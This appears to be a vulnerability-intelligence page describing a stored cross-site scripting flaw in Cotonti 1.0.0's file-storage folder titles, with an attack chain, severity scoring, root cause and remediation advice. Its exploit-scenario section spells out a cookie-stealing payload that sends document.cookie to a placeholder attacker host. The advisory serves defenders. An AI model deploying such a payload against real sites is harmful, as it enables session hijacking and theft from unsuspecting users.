Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconRegister low-privilege Cotonti account
-
DeliveryOpen PFS module folder creation
-
ExploitSubmit folder title with <script> payload
-
InstallMark folder public for visibility
-
C2Victim browses PFS folder listing
-
ExecuteInjected script executes in victim browser
-
ImpactSteal session or perform CSRF actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must hold an authenticated Cotonti account with permission to create folders in the Personal File Storage (PFS) module, and the target Cotonti instance must run code matching master commit f43f1fc3 (or any version where the cot_import 'TXT' filter omits HTML encoding and pfs.tpl emits {PFF_ROW_TITLE} unescaped). Execution requires a victim to load the folder listing view of the PFS module (UI:P) - for stored impact on other users, the malicious folder must be public or shared so victims can browse it; otherwise the payload only fires for the attacker themselves. No special server configuration is required beyond a default PFS-enabled deployment. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:L/SI:L) reflects a network-reachable, low-complexity attack requiring an authenticated low-privilege account and victim interaction (viewing the folder listing), with high confidentiality impact on the vulnerable system and limited integrity/scope effects on the subsequent user's browser context - consistent with a stored XSS that can hijack sessions or exfiltrate sensitive data. There is no CISA KEV listing, no EPSS score in the provided data, no SSVC decision, and no public exploit identified at time of analysis, so this is not a mass-exploitation priority. However, the trigger condition is realistic: any registered user can plant a payload, and victims include other users browsing public folders, which raises practical risk for community sites with open registration. Note: the supplied 7.0 CVSS 4.0 base appears slightly high for stored XSS where impact is largely user-context, but it is defensible given session-theft potential against authenticated viewers. |
| Exploit ScenarioDerived | An attacker registers a low-privilege Cotonti account, opens the PFS module, and creates a folder whose title contains a payload such as <img src=x onerror=fetch('https://attacker/'+document.cookie)>, marking the folder public. When an administrator or other user browses the public folder listing, the payload executes in their browser context, enabling session cookie theft, CSRF actions against the admin panel, or drive-by phishing. No public exploit identified at time of analysis, but the bug is trivial to weaponize given the disclosed file and line. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 18, 2026
Stored cross-site scripting in Cotonti 1.0.0 (master branch, commit f43f1fc3) lets an authenticated user inject HTML/JavaScript into Personal File Storage (PFS) folder titles, which then execute in any viewer's browser when the folder listing is rendered. The flaw stems from the 'TXT' import filter not encoding HTML combined with unescaped template output, and no public exploit identified at time of analysis. Discovered by TuranSec; impact extends to other users browsing public folders, enabling session theft or account actions in their context.
Earlier versions of this analysis (2)
Stored cross-site scripting in Cotonti 1.0.0 (master branch commit f43f1fc3) allows authenticated users to inject persistent HTML/JavaScript via the Personal File Storage (PFS) module folder title field, which executes in victims' browsers when the folder listing is viewed. The flaw stems from the pff_title field being processed with the 'TXT' filter (HTML tag check disabled) and then rendered unescaped in the pfs.tpl template, enabling session hijacking or account takeover of any user - including administrators - who views a public folder. No public exploit identified at time of analysis, though the root cause is documented at the exact source line in the upstream repository.
Stored cross-site scripting in Cotonti 1.0.0 (master branch commit f43f1fc3) allows an authenticated user to inject HTML or JavaScript into Personal File Storage (PFS) folder titles, which then execute in any visitor's browser when the folder listing is rendered. Because public folders are viewable by other users, the payload can hijack sessions or perform privileged actions against authenticated viewers, including administrators. No public exploit identified at time of analysis.
RemediationAI
No vendor-released patch identified at time of analysis; monitor the upstream repository (https://github.com/Cotonti/Cotonti) for a fix to modules/pfs/inc/pfs.main.php and modules/pfs/tpl/pfs.tpl. Pending an official release, operators should apply a local patch wrapping PFF_ROW_TITLE assignment with htmlspecialchars($pff_title, ENT_QUOTES, 'UTF-8') before assigning to the template, or switch the cot_import filter for pff_title from 'TXT' to a stricter HTML-stripping filter - both changes risk breaking any legitimate use of formatting characters in folder titles but are safe for the typical use case. Compensating controls include restricting PFS folder creation to trusted user groups via Cotonti's permission system, disabling public folders so titles are only rendered to the owner, and deploying a Content-Security-Policy header that forbids inline script (script-src 'self') which neutralizes most XSS payloads at the cost of breaking any inline scripts in custom themes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Cotonti is an open-source PHP-based content management and community platform. The vulnerability lives in the Personal File Storage (PFS) module: the folder title field (pff_title) is processed through cot_import() using the 'TXT' filter, which intentionally omits HTML tag stripping/encoding (the tag check is disabled for this filter). The raw value is then assigned to template variable PFF_ROW_TITLE in modules/pfs/inc/pfs.main.php without htmlspecialchars(), and modules/pfs/tpl/pfs.tpl emits {PFF_ROW_TITLE} unescaped. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) caused by trusting an input filter that does not actually sanitize HTML and by missing contextual output encoding at the template layer. CPE coverage (cpe:2.3:a:cotonti:cotonti:*) implies all versions matching the vulnerable code path are in scope until a fix lands.
Know when Cotonti gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
Network-reachable PFS module exploitable by any authenticated low-priv user (PR:L); victim must view the folder listing (UI:R); payload executes in another user's browser context (S:C) with limited C/I impact and no availability effect.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
Lifecycle Timeline
3DescriptionCVE.org
Cotonti 1.0.0 (master branch, commit f43f1fc3) is vulnerable to stored Cross-Site Scripting in the Personal File Storage (PFS) module. A folder title (pff_title) is imported with the 'TXT' filter, which does not strip or encode HTML (the tag check in cot_import is disabled), so an authenticated user can store HTML/JavaScript in a folder title. In modules/pfs/inc/pfs.main.php the title is assigned to the template variable PFF_ROW_TITLE without htmlspecialchars(), and modules/pfs/tpl/pfs.tpl outputs {PFF_ROW_TITLE} unescaped. When the folder listing is viewed (including by other users for public folders), the injected script executes in the victim's browser.
Executive ViewAI
Cotonti 1.0.0 file storage system allows authenticated users to inject malicious code into shared folders, which executes when other employees view them. Colleagues accessing these folders face session hijacking and account compromise, exposing the organization to credential theft and unauthorized system access. Any Cotonti deployment with active collaboration is immediately at risk.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Personal File Storage if operationally feasible; (2) Restrict public folder access to authenticated users only; (3) Implement HTML encoding on folder title inputs if source code is accessible; (4) Monitor and audit folder creation/modification for suspicious activity; (5) Advise users to avoid clicking untrusted links in folder names.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
SQL injection vulnerability in modules/rss/rss.php in Cotonti before 0.9.14 allows remote attackers to execute arbitrary
Cross-site request forgery in Cotonti 1.0.0 (commit f43f1fc3) lets a remote attacker escalate privileges to administrato
PHP object injection in the Cotonti 1.0.0 Comments plugin allows unauthenticated, network-reachable attackers to instant
A vulnerability has been found in Cotonti Siena v0.9.25. Affected by this vulnerability is the file /admin.php?m=config&
Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel's site title
A stored cross-site scripting (XSS) vulnerability in the Edit Page function of Cotonti CMS v0.9.24 allows authenticated
Unauthenticated attackers can reset the password of any Cotonti account, including administrator accounts, because passw
Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a direct message (DM). Rated medium severity (CVSS
Cotonti Siena 0.9.20 allows admins to conduct stored XSS attacks via a forum post. Rated medium severity (CVSS 4.8), thi
Cross-site request forgery in Cotonti 1.0.0 (commit f43f1fc3) administration configuration handler allows a remote attac
Cross-Site Request Forgery in the Personal File Storage (PFS) module of Cotonti 1.0.0 (commit f43f1fc3) allows remote at
PHP object injection in Cotonti 1.0.0 allows authenticated users with comment-write permissions to pass attacker-control
EUVD-2026-37858
GHSA-86hp-hf3j-3m8r
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB